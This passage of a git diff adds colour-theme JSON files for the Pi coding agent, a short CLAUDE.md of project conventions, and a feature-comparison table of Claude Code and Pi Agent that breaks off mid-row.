"#bbbbbb", + "comment": "#f8fcc4", + "cyan": "#8be9fd", + "green": "#50fa7b", + "orange": "#ffb86c", + "pink": "#ff79c6", + "purple": "#bd93f9", + "red": "#ff5555", + "yellow": "#f1fa8c", + "blue": "#6296e4" + }, + "colors": { + "accent": "purple", + "border": "pink", + "borderAccent": "purple", + "borderMuted": "surface", + "success": "green", + "error": "red", + "warning": "orange", + "muted": "comment", + "dim": "comment", + "text": "fg", + "thinkingText": "cyan", + "selectedBg": "bgPurple", + "userMessageBg": "bgPink", + "userMessageText": "fg", + "customMessageBg": "bgCyan", + "customMessageText": "fg", + "customMessageLabel": "cyan", + "toolPendingBg": "bgOrange", + "toolSuccessBg": "bgGreen", + "toolErrorBg": "bgRed", + "toolTitle": "pink", + "toolOutput": "fgSoft", + "mdHeading": "pink", + "mdLink": "cyan", + "mdLinkUrl": "comment", + "mdCode": "green", + "mdCodeBlock": "fgSoft", + "mdCodeBlockBorder": "surface", + "mdQuote": "purple", + "mdQuoteBorder": "surface", + "mdHr": "surface", + "mdListBullet": "pink", + "toolDiffAdded": "green", + "toolDiffRemoved": "red", + "toolDiffContext": "comment", + "syntaxComment": "comment", + "syntaxKeyword": "pink", + "syntaxFunction": "green", + "syntaxVariable": "fg", + "syntaxString": "yellow", + "syntaxNumber": "purple", + "syntaxType": "cyan", + "syntaxOperator": "pink", + "syntaxPunctuation": "fgSoft", + "thinkingOff": "surface", + "thinkingMinimal": "comment", + "thinkingLow": "blue", + "thinkingMedium": "purple", + "thinkingHigh": "cyan", + "thinkingXhigh": "pink", + "bashMode": "orange" + } +} diff --git a/.pi/themes/everforest.json b/.pi/themes/everforest.json new file mode 100644 index 0000000..3131378 --- /dev/null +++ b/.pi/themes/everforest.json @@ -0,0 +1,82 @@ +{ + "$schema": "https://raw.githubusercontent.com/badlogic/pi-mono/main/packages/coding-agent/src/modes/interactive/theme/theme-schema.json", + "name": "everforest", + "vars": { + "bg": "#191f1d", + "bgDark": "#141a18", + "bg1": "#1e2522", + "bg2": "#222a28", + "surface": "#2c3532", + "selection": "#323e3a", + "bgRed": "#301718", + "bgOrange": "#302217", + "bgSky": "#192b34", + "bgCyan": "#172b26", + "bgWarm": "#351d29", + "bgPink": "#311c31", + "fg": "#ffffff", + "fgSoft": "#bbbbbb", + "comment": "#e7f4cd", + "red": "#eb7073", + "orange": "#f1a27e", + "yellow": "#eed096", + "green": "#bde481", + "aqua": "#78e292", + "teal": "#52e0bd", + "blue": "#78c8e2", + "purple": "#e689b5" + }, + "colors": { + "accent": "green", + "border": "aqua", + "borderAccent": "green", + "borderMuted": "surface", + "success": "green", + "error": "red", + "warning": "orange", + "muted": "comment", + "dim": "comment", + "text": "fg", + "thinkingText": "teal", + "selectedBg": "bgCyan", + "userMessageBg": "bgWarm", + "userMessageText": "fg", + "customMessageBg": "bgSky", + "customMessageText": "fg", + "customMessageLabel": "aqua", + "toolPendingBg": "bgOrange", + "toolSuccessBg": "bgCyan", + "toolErrorBg": "bgRed", + "toolTitle": "green", + "toolOutput": "fgSoft", + "mdHeading": "yellow", + "mdLink": "blue", + "mdLinkUrl": "comment", + "mdCode": "aqua", + "mdCodeBlock": "fgSoft", + "mdCodeBlockBorder": "surface", + "mdQuote": "teal", + "mdQuoteBorder": "surface", + "mdHr": "surface", + "mdListBullet": "green", + "toolDiffAdded": "green", + "toolDiffRemoved": "red", + "toolDiffContext": "comment", + "syntaxComment": "comment", + "syntaxKeyword": "red", + "syntaxFunction": "green", + "syntaxVariable": "blue", + "syntaxString": "yellow", + "syntaxNumber": "purple", + "syntaxType": "aqua", + "syntaxOperator": "orange", + "syntaxPunctuation": "fgSoft", + "thinkingOff": "surface", + "thinkingMinimal": "comment", + "thinkingLow": "blue", + "thinkingMedium": "teal", + "thinkingHigh": "green", + "thinkingXhigh": "red", + "bashMode": "orange" + } +} diff --git a/.pi/themes/gruvbox.json b/.pi/themes/gruvbox.json new file mode 100644 index 0000000..dbed3aa --- /dev/null +++ b/.pi/themes/gruvbox.json @@ -0,0 +1,80 @@ +{ + "$schema": "https://raw.githubusercontent.com/badlogic/pi-mono/main/packages/coding-agent/src/modes/interactive/theme/theme-schema.json", + "name": "gruvbox", + "vars": { + "bg": "#221f1c", + "bgDark": "#1c1a17", + "bgDeep": "#171412", + "surface": "#322d29", + "selection": "#3f3731", + "bgRed": "#341714", + "bgOrange": "#322215", + "bgSky": "#152432", + "bgCyan": "#142924", + "bgWarm": "#322b15", + "bgPink": "#321524", + "comment": "#fcebc5", + "fg": "#ffffff", + "fgSoft": "#bbbbbb", + "red": "#fb4b37", + "green": "#ebed5e", + "yellow": "#fcd783", + "blue": "#67a6e4", + "purple": "#ca74e7", + "aqua": "#81e4be", + "orange": "#fd953f" + }, + "colors": { + "accent": "orange", + "border": "yellow", + "borderAccent": "orange", + "borderMuted": "surface", + "success": "green", + "error": "red", + "warning": "yellow", + "muted": "comment", + "dim": "comment", + "text": "fg", + "thinkingText": "aqua", + "selectedBg": "bgWarm", + "userMessageBg": "bgOrange", + "userMessageText": "fg", + "customMessageBg": "bgCyan", + "customMessageText": "fg", + "customMessageLabel": "aqua", + "toolPendingBg": "bgSky", + "toolSuccessBg": "bgCyan", + "toolErrorBg": "bgRed", + "toolTitle": "orange", + "toolOutput": "fgSoft", + "mdHeading": "yellow", + "mdLink": "aqua", + "mdLinkUrl": "comment", + "mdCode": "green", + "mdCodeBlock": "fgSoft", + "mdCodeBlockBorder": "surface", + "mdQuote": "blue", + "mdQuoteBorder": "surface", + "mdHr": "surface", + "mdListBullet": "orange", + "toolDiffAdded": "green", + "toolDiffRemoved": "red", + "toolDiffContext": "comment", + "syntaxComment": "comment", + "syntaxKeyword": "red", + "syntaxFunction": "aqua", + "syntaxVariable": "blue", + "syntaxString": "green", + "syntaxNumber": "purple", + "syntaxType": "yellow", + "syntaxOperator": "orange", + "syntaxPunctuation": "fgSoft", + "thinkingOff": "surface", + "thinkingMinimal": "comment", + "thinkingLow": "blue", + "thinkingMedium": "aqua", + "thinkingHigh": "yellow", + "thinkingXhigh": "red", + "bashMode": "orange" + } +} diff --git a/.pi/themes/midnight-ocean.json b/.pi/themes/midnight-ocean.json new file mode 100644 index 0000000..a00cc0f --- /dev/null +++ b/.pi/themes/midnight-ocean.json @@ -0,0 +1,76 @@ +{ + "$schema": "https://raw.githubusercontent.com/badlogic/pi-mono/main/packages/coding-agent/src/modes/interactive/theme/theme-schema.json", + "name": "midnight-ocean", + "vars": { + "deepBlue": "#0a192f", + "oceanBlue": "#0077be", + "teal": "#00ced1", + "cyan": "#4fd1ed", + "softWhite": "#e6f1ff", + "mutedBlue": "#233554", + "lightMutedBlue": "#a8b2d1", + "slate": "#8892b0", + "successGreen": "#64ffda", + "errorRed": "#ff5f56", + "warningAmber": "#ffd700", + "purple": "#c678dd" + }, + "colors": { + "accent": "oceanBlue", + "border": "mutedBlue", + "borderAccent": "teal", + "borderMuted": 236, + "success": "successGreen", + "error": "errorRed", + "warning": "warningAmber", + "muted": "slate", + "dim": 240, + "text": "softWhite", + "thinkingText": "teal", + "selectedBg": "#112240", + "userMessageBg": "#112240", + "userMessageText": "softWhite", + "customMessageBg": "#112240", + "customMessageText": "softWhite", + "customMessageLabel": "teal", + "toolPendingBg": "deepBlue", + "toolSuccessBg": "#0d2521", + "toolErrorBg": "#331616", + "toolTitle": "cyan", + "toolOutput": "lightMutedBlue", + "mdHeading": "teal", + "mdLink": "oceanBlue", + "mdLinkUrl": "slate", + "mdCode": "cyan", + "mdCodeBlock": "#011627", + "mdCodeBlockBorder": "mutedBlue", + "mdQuote": "slate", + "mdQuoteBorder": "mutedBlue", + "mdHr": "mutedBlue", + "mdListBullet": "teal", + "toolDiffAdded": "successGreen", + "toolDiffRemoved": "errorRed", + "toolDiffContext": "slate", + "syntaxComment": "slate", + "syntaxKeyword": "purple", + "syntaxFunction": "teal", + "syntaxVariable": "cyan", + "syntaxString": "successGreen", + "syntaxNumber": "warningAmber", + "syntaxType": "oceanBlue", + "syntaxOperator": "teal", + "syntaxPunctuation": "lightMutedBlue", + "thinkingOff": "mutedBlue", + "thinkingMinimal": "oceanBlue", + "thinkingLow": "teal", + "thinkingMedium": "cyan", + "thinkingHigh": "warningAmber", + "thinkingXhigh": "errorRed", + "bashMode": "warningAmber" + }, + "export": { + "pageBg": "#0a192f", + "cardBg": "#112240", + "infoBg": "#0077be" + } +} diff --git a/.pi/themes/nord.json b/.pi/themes/nord.json new file mode 100644 index 0000000..86f494c --- /dev/null +++ b/.pi/themes/nord.json @@ -0,0 +1,84 @@ +{ + "$schema": "https://raw.githubusercontent.com/badlogic/pi-mono/main/packages/coding-agent/src/modes/interactive/theme/theme-schema.json", + "name": "nord", + "vars": { + "bg": "#1a1d23", + "bgDark": "#15181d", + "bgDeep": "#111316", + "surface": "#272b34", + "selection": "#2f3541", + "bgRed": "#2e1818", + "bgOrange": "#31241a", + "bgSky": "#1c2835", + "bgCyan": "#192c2d", + "bgWarm": "#291b30", + "bgPink": "#2d1927", + "comment": "#ccebf4", + "fg": "#ffffff", + "fgSoft": "#bbbbbb", + "frost1": "#67e4e2", + "frost2": "#72cee8", + "frost3": "#67a5e4", + "frost4": "#5c97df", + "red": "#e85e6c", + "orange": "#ed7f5e", + "yellow": "#f5d189", + "green": "#92df6b", + "purple": "#e278e2", + "border": "#3e5974", + "dim": "#3d4c5b" + }, + "colors": { + "accent": "frost2", + "border": "border", + "borderAccent": "frost2", + "borderMuted": "surface", + "success": "green", + "error": "red", + "warning": "orange", + "muted": "comment", + "dim": "comment", + "text": "fg", + "thinkingText": "frost1", + "selectedBg": "bgPink", + "userMessageBg": "bgWarm", + "userMessageText": "fg", + "customMessageBg": "bgCyan", + "customMessageText": "fg", + "customMessageLabel": "frost2", + "toolPendingBg": "bgOrange", + "toolSuccessBg": "bgSky", + "toolErrorBg": "bgRed", + "toolTitle": "orange", + "toolOutput": "fgSoft", + "mdHeading": "yellow", + "mdLink": "frost2", + "mdLinkUrl": "comment", + "mdCode": "frost1", + "mdCodeBlock": "fgSoft", + "mdCodeBlockBorder": "surface", + "mdQuote": "purple", + "mdQuoteBorder": "surface", + "mdHr": "surface", + "mdListBullet": "frost2", + "toolDiffAdded": "green", + "toolDiffRemoved": "red", + "toolDiffContext": "comment", + "syntaxComment": "comment", + "syntaxKeyword": "frost3", + "syntaxFunction": "frost2", + "syntaxVariable": "fg", + "syntaxString": "green", + "syntaxNumber": "purple", + "syntaxType": "frost1", + "syntaxOperator": "frost3", + "syntaxPunctuation": "fgSoft", + "thinkingOff": "surface", + "thinkingMinimal": "dim", + "thinkingLow": "frost4", + "thinkingMedium": "frost3", + "thinkingHigh": "frost2", + "thinkingXhigh": "frost1", + "bashMode": "yellow" + } +} diff --git a/.pi/themes/ocean-breeze.json b/.pi/themes/ocean-breeze.json new file mode 100644 index 0000000..462d9f2 --- /dev/null +++ b/.pi/themes/ocean-breeze.json @@ -0,0 +1,83 @@ +{ + "$schema": "https://raw.githubusercontent.com/badlogic/pi-mono/main/packages/coding-agent/src/modes/interactive/theme/theme-schema.json", + "name": "ocean-breeze", + "vars": { + "bg": "#0d1b2a", + "bgDark": "#0a1520", + "bgDeep": "#081018", + "surface": "#152a3e", + "selection": "#1b3450", + "bgRed": "#2a1018", + "bgOrange": "#2a1e10", + "bgSky": "#0e2440", + "bgCyan": "#0c2a2e", + "bgWarm": "#2a1530", + "bgPink": "#2e1028", + "fg": "#ffffff", + "fgSoft": "#bbbbbb", + "comment": "#c2faf2", + "coral": "#ff6b6b", + "amber": "#ffd166", + "kelp": "#2eeab5", + "biolum": "#33fff7", + "foam": "#50b0e0", + "spray": "#7ec8e3", + "mist": "#a8d8ea", + "sand": "#ecf49a", + "purple": "#b48aef", + "pink": "#f772b9" + }, + "colors": { + "accent": "biolum", + "border": "foam", + "borderAccent": "biolum", + "borderMuted": "surface", + "success": "kelp", + "error": "coral", + "warning": "amber", + "muted": "comment", + "dim": "comment", + "text": "fg", + "thinkingText": "biolum", + "selectedBg": "selection", + "userMessageBg": "bgSky", + "userMessageText": "fg", + "customMessageBg": "bgCyan", + "customMessageText": "fg", + "customMessageLabel": "spray", + "toolPendingBg": "bgOrange", + "toolSuccessBg": "bgCyan", + "toolErrorBg": "bgRed", + "toolTitle": "spray", + "toolOutput": "fgSoft", + "mdHeading": "mist", + "mdLink": "biolum", + "mdLinkUrl": "comment", + "mdCode": "kelp", + "mdCodeBlock": "fgSoft", + "mdCodeBlockBorder": "surface", + "mdQuote": "purple", + "mdQuoteBorder": "surface", + "mdHr": "surface", + "mdListBullet": "spray", + "toolDiffAdded": "kelp", + "toolDiffRemoved": "coral", + "toolDiffContext": "comment", + "syntaxComment": "comment", + "syntaxKeyword": "coral", + "syntaxFunction": "biolum", + "syntaxVariable": "spray", + "syntaxString": "kelp", + "syntaxNumber": "amber", + "syntaxType": "purple", + "syntaxOperator": "foam", + "syntaxPunctuation": "fgSoft", + "thinkingOff": "surface", + "thinkingMinimal": "comment", + "thinkingLow": "foam", + "thinkingMedium": "spray", + "thinkingHigh": "biolum", + "thinkingXhigh": "pink", + "bashMode": "amber" + } +} diff --git a/.pi/themes/rose-pine.json b/.pi/themes/rose-pine.json new file mode 100644 index 0000000..fa7f211 --- /dev/null +++ b/.pi/themes/rose-pine.json @@ -0,0 +1,82 @@ +{ + "$schema": "https://raw.githubusercontent.com/badlogic/pi-mono/main/packages/coding-agent/src/modes/interactive/theme/theme-schema.json", + "name": "rose-pine", + "vars": { + "bg": "#1a1726", + "bgDark": "#161320", + "bgDeep": "#12101c", + "surface": "#242038", + "selection": "#2e2946", + "bgRed": "#2c1220", + "bgOrange": "#2a1c12", + "bgSky": "#122030", + "bgCyan": "#132a2e", + "bgWarm": "#2a1830", + "bgPink": "#301828", + "fg": "#ffffff", + "fgSoft": "#bbbbbb", + "comment": "#f0a8be", + "love": "#f47a9e", + "gold": "#f8cc85", + "rose": "#f0c4c4", + "pine": "#50b8d8", + "foam": "#a8e0ea", + "iris": "#d4a8ff", + "orchid": "#e088d0", + "ember": "#f09060", + "green": "#78e0a0" + }, + "colors": { + "accent": "iris", + "border": "orchid", + "borderAccent": "iris", + "borderMuted": "surface", + "success": "foam", + "error": "love", + "warning": "gold", + "muted": "comment", + "dim": "comment", + "text": "fg", + "thinkingText": "foam", + "selectedBg": "bgPink", + "userMessageBg": "bgWarm", + "userMessageText": "fg", + "customMessageBg": "bgCyan", + "customMessageText": "fg", + "customMessageLabel": "iris", + "toolPendingBg": "bgOrange", + "toolSuccessBg": "bgSky", + "toolErrorBg": "bgRed", + "toolTitle": "gold", + "toolOutput": "fgSoft", + "mdHeading": "love", + "mdLink": "foam", + "mdLinkUrl": "comment", + "mdCode": "gold", + "mdCodeBlock": "fgSoft", + "mdCodeBlockBorder": "surface", + "mdQuote": "rose", + "mdQuoteBorder": "surface", + "mdHr": "surface", + "mdListBullet": "iris", + "toolDiffAdded": "green", + "toolDiffRemoved": "love", + "toolDiffContext": "comment", + "syntaxComment": "comment", + "syntaxKeyword": "love", + "syntaxFunction": "foam", + "syntaxVariable": "fg", + "syntaxString": "gold", + "syntaxNumber": "iris", + "syntaxType": "pine", + "syntaxOperator": "orchid", + "syntaxPunctuation": "fgSoft", + "thinkingOff": "surface", + "thinkingMinimal": "comment", + "thinkingLow": "pine", + "thinkingMedium": "iris", + "thinkingHigh": "foam", + "thinkingXhigh": "love", + "bashMode": "ember" + } +} diff --git a/.pi/themes/synthwave.json b/.pi/themes/synthwave.json new file mode 100644 index 0000000..7f5657a --- /dev/null +++ b/.pi/themes/synthwave.json @@ -0,0 +1,82 @@ +{ + "$schema": "https://raw.githubusercontent.com/badlogic/pi-mono/main/packages/coding-agent/src/modes/interactive/theme/theme-schema.json", + "name": "synthwave", + "vars": { + "bg": "#262335", + "bgDark": "#241b2f", + "bgDeep": "#1e1d2d", + "surface": "#34294f", + "selection": "#463465", + "bgRed": "#3d1018", + "bgRedWarm": "#301510", + "bgOrange": "#2e1f10", + "bgSky": "#1a2e4a", + "bgCyan": "#152838", + "bgWarm": "#4a1e6a", + "bgPink": "#35153a", + "comment": "#fede5d", + "fg": "#ffffff", + "fgSoft": "#bbbbbb", + "red": "#fe4450", + "cyan": "#36f9f6", + "yellow": "#fede5d", + "pink": "#ff7edb", + "green": "#72f1b8", + "orange": "#ff8b39", + "purple": "#c792ea", + "blue": "#4d9de0" + }, + "colors": { + "accent": "cyan", + "border": "pink", + "borderAccent": "cyan", + "borderMuted": "surface", + "success": "green", + "error": "red", + "warning": "orange", + "muted": "comment", + "dim": "comment", + "text": "fg", + "thinkingText": "#4a9e6a", + "selectedBg": "bgPink", + "userMessageBg": "bgWarm", + "userMessageText": "fg", + "customMessageBg": "bgCyan", + "customMessageText": "fg", + "customMessageLabel": "cyan", + "toolPendingBg": "bgOrange", + "toolSuccessBg": "bgSky", + "toolErrorBg": "bgRed", + "toolTitle": "orange", + "toolOutput": "fgSoft", + "mdHeading": "yellow", + "mdLink": "cyan", + "mdLinkUrl": "comment", + "mdCode": "yellow", + "mdCodeBlock": "fgSoft", + "mdCodeBlockBorder": "surface", + "mdQuote": "purple", + "mdQuoteBorder": "surface", + "mdHr": "surface", + "mdListBullet": "pink", + "toolDiffAdded": "green", + "toolDiffRemoved": "red", + "toolDiffContext": "comment", + "syntaxComment": "comment", + "syntaxKeyword": "red", + "syntaxFunction": "cyan", + "syntaxVariable": "fg", + "syntaxString": "yellow", + "syntaxNumber": "pink", + "syntaxType": "green", + "syntaxOperator": "cyan", + "syntaxPunctuation": "fgSoft", + "thinkingOff": "surface", + "thinkingMinimal": "comment", + "thinkingLow": "blue", + "thinkingMedium": "purple", + "thinkingHigh": "cyan", + "thinkingXhigh": "pink", + "bashMode": "orange" + } +} diff --git a/.pi/themes/tokyo-night.json b/.pi/themes/tokyo-night.json new file mode 100644 index 0000000..1db95bf --- /dev/null +++ b/.pi/themes/tokyo-night.json @@ -0,0 +1,83 @@ +{ + "$schema": "https://raw.githubusercontent.com/badlogic/pi-mono/main/packages/coding-agent/src/modes/interactive/theme/theme-schema.json", + "name": "tokyo-night", + "vars": { + "bg": "#1a1b26", + "bgDark": "#141520", + "bg1": "#1e2030", + "bg2": "#252840", + "surface": "#2a2d48", + "selection": "#353860", + "bgRed": "#301420", + "bgOrange": "#2e1e14", + "bgSky": "#162040", + "bgCyan": "#142530", + "bgWarm": "#301848", + "bgPink": "#2d1430", + "comment": "#90e8ff", + "fg": "#ffffff", + "fgSoft": "#bbbbbb", + "blue": "#7eaaff", + "cyan": "#72dfff", + "magenta": "#c9a5ff", + "purple": "#b48ef5", + "green": "#a8e06a", + "red": "#ff7a94", + "orange": "#ffa55c", + "yellow": "#f0c060", + "teal": "#20d4b0" + }, + "colors": { + "accent": "blue", + "border": "purple", + "borderAccent": "cyan", + "borderMuted": "surface", + "success": "green", + "error": "red", + "warning": "orange", + "muted": "comment", + "dim": "comment", + "text": "fg", + "thinkingText": "teal", + "selectedBg": "bgPink", + "userMessageBg": "bgWarm", + "userMessageText": "fg", + "customMessageBg": "bgCyan", + "customMessageText": "fg", + "customMessageLabel": "cyan", + "toolPendingBg": "bgOrange", + "toolSuccessBg": "bgSky", + "toolErrorBg": "bgRed", + "toolTitle": "orange", + "toolOutput": "fgSoft", + "mdHeading": "yellow", + "mdLink": "cyan", + "mdLinkUrl": "comment", + "mdCode": "magenta", + "mdCodeBlock": "fgSoft", + "mdCodeBlockBorder": "surface", + "mdQuote": "green", + "mdQuoteBorder": "surface", + "mdHr": "surface", + "mdListBullet": "blue", + "toolDiffAdded": "green", + "toolDiffRemoved": "red", + "toolDiffContext": "comment", + "syntaxComment": "comment", + "syntaxKeyword": "magenta", + "syntaxFunction": "blue", + "syntaxVariable": "purple", + "syntaxString": "green", + "syntaxNumber": "orange", + "syntaxType": "cyan", + "syntaxOperator": "teal", + "syntaxPunctuation": "fgSoft", + "thinkingOff": "surface", + "thinkingMinimal": "comment", + "thinkingLow": "blue", + "thinkingMedium": "cyan", + "thinkingHigh": "magenta", + "thinkingXhigh": "red", + "bashMode": "yellow" + } +} diff --git a/CLAUDE.md b/CLAUDE.md new file mode 100644 index 0000000..8d816f2 --- /dev/null +++ b/CLAUDE.md @@ -0,0 +1,23 @@ +# Pi vs CC — Extension Playground + +## Infrastructure Access +**Always read `.pi/infra.md` at the start of every session** — it contains live credentials and connection details. + +Pi Coding Agent extension examples and experiments. + +## Tooling +- **Package manager**: `bun` (not npm/yarn/pnpm) +- **Task runner**: `just` (see justfile) +- **Extensions run via**: `pi -e extensions/.ts` + +## Project Structure +- `extensions/` — Pi extension source files (.ts) +- `specs/` — Feature specifications +- `.pi/agents/` — Agent definitions for agent-team extension +- `.pi/agent-sessions/` — Ephemeral session files (gitignored) + +## Conventions +- Extensions are standalone .ts files loaded by Pi's jiti runtime +- Available imports: `@mariozechner/pi-coding-agent`, `@mariozechner/pi-tui`, `@mariozechner/pi-ai`, `@sinclair/typebox`, plus any deps in package.json +- Register tools at the top level of the extension function (not inside event handlers) +- Use `isToolCallEventType()` for type-safe tool_call event narrowing diff --git a/COMPARISON.md b/COMPARISON.md new file mode 100644 index 0000000..98ff420 --- /dev/null +++ b/COMPARISON.md @@ -0,0 +1,243 @@ +# Claude Code vs Pi Agent — Feature Comparison + +> Pi v0.52.10 vs Claude Code (Feb 2026) + +--- + +## Design Philosophy + +| Dimension | Claude Code | Pi Agent | Winner | +| ---------------------------- | ----------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- | ----------- | +| Core Mantra | "Tool for every engineer" — batteries-included, accessible to all skill levels | "If I don't need it, it won't be built" — minimal, opinionated, built for one engineer's workflow | Both | +| Approach to Features | Ship everything built-in (sub-agents, teams, MCP, plan mode, todos, web search, notebooks, 10+ tools) | Ship the minimum (4 tools, ~200-token prompt). Everything else is opt-in via extensions or bash | Both | +| Safety Philosophy | Safe by default — deny-first permissions, 5 modes, filesystem sandbox, Haiku pre-screening of commands | YOLO by default — no permissions, no sandbox. "Security in coding agents is mostly theater; if it can write and run code, it's game over" | Both | +| System Prompt Trust Model | Extensive guardrails (~10K tokens) — behavioral rules, formatting instructions, safety constraints, tool usage examples | Trust the model (~200 tokens) — "frontier models have been RL-trained up the wazoo, they inherently understand what a coding agent is" | Both | +| Observability | Abstracted — sub-agents are black boxes, compaction happens silently, system prompt not user-visible by default | Full transparency — every token visible, every tool call inspectable, no hidden orchestration, session HTML export | Pi | +| Context Engineering | Managed for you — auto-compaction, sub-agents handle overflow, system decides what enters context | User-controlled — minimal prompt overhead, no hidden injections, "exactly controlling what goes into context yields better outputs" | Pi | +| Extensibility Model | Shell hooks (external processes) + MCP protocol + Skills (markdown prompts) — loosely coupled, config-driven | TypeScript in-process extensions — same runtime, access full session state, block/modify/transform any event | Both | +| Target Audience | Every engineer — beginner-friendly, enterprise-ready, guided workflows, progressive disclosure | Power users — engineers who want control, understand tradeoffs, willing to build their own workflows | Both | +| Multi-Model Stance | Claude-first — optimized for Claude family, gateway workaround for others | Model-agnostic from day one — 324 models, 20+ providers, cross-provider context handoff, "we live in a multi-model world" | Pi | +| Planning Approach | Built-in plan mode — structured explore → plan → code phases, read-only mode, dedicated sub-agents | No plan mode — "just tell the agent to think with you." Write plans to files for persistence, versioning, and cross-session reuse | Both | +| Complexity Budget | Complexity lives in the harness so you don't have to think about it — more magic, less wiring | Complexity lives in your hands — minimal harness, you decide what to add and when. "Three similar lines of code is better than a premature abstraction" | Both | + +--- + +## Cost & Licensing + +| Feature | Claude Code | Pi Agent | Winner | +| ---------------------- | ---------------------------------------------------------------------- | ------------------------------------------------------------------------------------- | ------ | +| Tool License | Proprietary | MIT (open source, fork/embed/self-host) | Pi | +| Subscription Cost | $20-200/mo required or Dedicated Anthropic API Keys | $0 (MIT, BYO API keys) | Pi | +| Cost Tracking | Available via /cost command, customizable via statusline configuration | Real-time $/token/cache display in footer per session and customizable via extensions | Both | +| Cost Optimization | 3 models at 3 price tiers (Opus > Sonnet > Haiku) — single provider | Mix cheap/expensive models per task across any provider, free tiers available | Pi | +| System Prompt Overhead | ~10,000+ tokens | ~200 tokens (more context for actual work) | Pi | + + +--- + +## Model & Provider Support + +| Feature | Claude Code | Pi Agent | Winner | +| ---------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ------ | +| Official Providers | 4 platforms (Anthropic API, AWS Bedrock, Google Vertex, Foundry) — all serving Claude models | 20+ native (Anthropic, OpenAI, Google, Groq, xAI, OpenRouter, Azure, Bedrock, Vertex, Mistral, MiniMax, Kimi, Cerebras, ZAI, HuggingFace, custom) | Pi | +| Non-Anthropic / Self-Hosted Models | Via ANTHROPIC_BASE_URL gateway — routes to any OpenAI-compatible backend (OpenRouter, LiteLLM, local TGI, vLLM). Functional but unofficial workaround | Native first-class support for all providers + local (Ollama, vLLM, LM Studio via models.json). No proxy needed | Pi | +| Built-in Models | ~6 aliases (opus, sonnet, haiku, opusplan, sonnet[1m], default) mapping to Claude family | 324 (confirmed via ModelRegistry) across all providers | Pi | +| Model Switching Mid-Session | Yes — `/model ` command, `--model` flag at startup, ANTHROPIC_MODEL env var | Yes — Ctrl+P cycle, Ctrl+L fuzzy selector, session.setModel() in SDK | Tie | +| OAuth/Subscription Login | Anthropic subscriptions (Pro, Max, Teams, Enterprise) | Claude Pro, ChatGPT Plus, GitHub Copilot, Gemini CLI, Antigravity — all via /login and API keys | Pi | +| Thinking/Effort Levels | 3 effort levels (low/medium/high) on Opus 4.6 via `/model` slider, env var, or settings | 5 unified levels (off/minimal/low/medium/high) across ALL thinking capable models, Shift+Tab to cycle | Pi | + +--- + +## Agent Harness + +| Feature | Claude Code | Pi Agent | Winner | +| ------------------------ | -------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------- | ----------- | +| Source Code | Closed source (proprietary) | Open source (MIT license) | Pi | +| System Prompt Size | ~10,000+ tokens (extensive tool descriptions, behavioral rules, safety guardrails) | ~200 tokens (minimal — trusts frontier models to code without hand-holding) | Pi | +| Default Tools | 10+ (Read, Write, Edit, Bash, Glob, Grep, WebSearch, WebFetch, NotebookEdit, Task) | 4 (read, write, edit, bash) + 3 optional (grep, find, ls) | Both | +| Agent Architecture | Monorepo TypeScript CLI — single package with built-in tool execution, sub-agents, and team coordination | 4-package monorepo (pi-ai, pi-agent-core, pi-tui, pi-coding-agent) — modular separation of LLM abstraction, agent loop, TUI, and CLI | Both | +| Sub-Agent Support | Native Task tool — 7 parallel sub-agents, permission inheritance, typed agent roles (Explore, Plan, Bash, general-purpose) | None built-in, but available through extension that spawns separate pi processes in single/parallel/chain modes with different models per sub-agent | Claude Code | +| Agent Teams | Native team coordination (lead + workers, shared task lists, message passing, broadcast) | None built-in, but achievable through SDK orchestration scripts or RPC mode driving multiple pi processes | Claude Code | +| Default Permission Model | 5 modes (default, plan, acceptEdits, bypassPermissions, dontAsk) — deny-first with filesystem/network sandbox | None by default ("YOLO mode") — runs everything without asking. Permission-gate extension available but opt-in | Claude Code | +| Memory File | CLAUDE.md (project root, nested dirs, user-level) — auto-loaded, hierarchical | AGENTS.md — similar convention, compatible with ~/.claude/skills cross-tool standard | Tie | +| Cost Visibility | Available via /cost command, customizable via statusline configuration | Immediately visible in footer by default, further customizable via extensions and getSessionStats() API | Tie | +| Hooks System | Shell-command hooks (PreToolUse, PostToolUse, Stop, Notification) — external scripts, pass/fail | TypeScript extension events (20+ types) — in-process async handlers that block, modify, transform, access session state, render UI | Pi | +| Session Format | Linear conversation | JSONL tree with id/parentId (branching, forking, labels via /tree and /fork) | Pi | +| Extension State | No built-in state persistence for extensions | pi.appendEntry() persists custom data to session, survives restart | Pi | + +--- + +## Tools & Capabilities + +### Built-in Tools (Tool-by-Tool) + +| Tool | Claude Code | Pi Agent | Winner | +| ----------------- | ------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------ | ----------- | +| Read | Built-in — reads files with optional offset/limit, images, PDFs, notebooks | Built-in (`read`) — reads files with optional range, auto-resizes images | Tie | +| Write | Built-in — creates or overwrites files | Built-in (`write`) — creates or overwrites files | Tie | +| Edit | Built-in — exact string replacement with replace_all option | Built-in (`edit`) — surgical find-and-replace, returns unified diff | Tie | +| Bash | Built-in — shell execution with timeout, background mode, description | Built-in (`bash`) — shell execution with streaming output and abort | Tie | +| Glob | Built-in — fast file pattern matching, sorted by modification time | Not built-in. Optional `find` tool available via `--tools` flag | Claude Code | +| Grep | Built-in — ripgrep-powered search with regex, context lines, output modes | Not built-in by default. Optional `grep` tool available via `--tools` flag | Tie | +| WebSearch | Built-in — web search with domain filtering, returns formatted results | Not built-in, customizable via extensions | Claude Code | +| WebFetch | Built-in — fetches URL content, converts HTML to markdown, AI processing | Not built-in, customizable via extensions | Claude Code | +| NotebookEdit | Built-in — Jupyter notebook cell editing (replace, insert, delete) | Not built-in, customizable via extensions | Claude Code | +| Task (Sub-agents) | Built-in — spawns typed sub-agents (Explore, Plan, Bash, general-purpose) with parallel execution | Not built-in, customizable via extensions. Subagent extension spawns separate pi processes | Claude Code | +| ls | Not a dedicated tool (use Bash or Glob) | Optional built-in (`ls`) via `--tools` flag | Tie | + +### Tool System Capabilities + +| Feature | Claude Code | Pi Agent | Winner | +| --------------------- | --------------------------------------------------------------- | ------------------------------------------------------------------------------- | ----------- | +| Tool Observability | Sub-agent tool calls opaque | Every tool call, token, and dollar visible | Pi | +| Custom Tools | Via MCP servers (external process, JSON-RPC) | pi.registerTool() in-process TypeScript, streaming results, custom rendering | Pi | +| Tool Override | Not possible | Register tool with same name to replace built-in (e.g., audited read) | 